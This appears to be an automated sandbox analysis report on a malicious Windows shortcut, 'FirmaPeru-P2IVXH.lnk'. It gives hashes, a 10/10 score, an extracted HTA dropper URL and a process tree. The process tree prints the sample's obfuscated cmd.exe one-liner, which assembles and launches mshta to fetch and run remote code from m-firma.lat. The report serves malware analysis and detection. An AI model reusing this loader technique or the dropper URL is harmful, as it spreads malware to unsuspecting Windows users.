Analysis

  • max time kernel
    60s
  • max time network
    24s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/08/2026, 22:12

General

  • Target
    FirmaPeru-P2IVXH.lnk
  • Size 2KB
  • Sample260831-14th5aae65
  • SHA256 6c142336b366841f730484375588b5e7b8ce614000251dd0c592dbe24b30a538
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://m-firma.lat/h/estagio1.php?r=261A6CF54682

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\FirmaPeru-P2IVXH.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4788
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /V:on /c "set JV=tmpyxtcixcleaviptmp&set SST=5osqu8&&set PCf=dtaru8&&set chRq=746tu9r&set gXw=winsesbwin&set xWw=syszrnnewatjvatshdesys&set cKD=winadxfvwwin&set lLYU=infnwobwefanbwvydutrinf&set MiE=cfghhetsankfafcfg&set qYO=netouozcdljscrenet&set NaWt=kv8mph&&set vjs=l2shrb&&set dy=ftaav&set gaSvX=logqgdcczeyalmllplog&&set fAWe=h@tt@ps://@m-@[email protected]/@h/estag@[email protected]@p?@r=2@6@1A6@C@F@546@82&&start /b !NaWt:~3,1!!vjs:~2,2!!dy:~1,2! !fAWe:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:616
      • C:\Windows\System32\mshta.exe
        mshta https://m-firma.lat/h/estagio1.php?r=261A6CF54682
        3⤵
          PID:1868

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads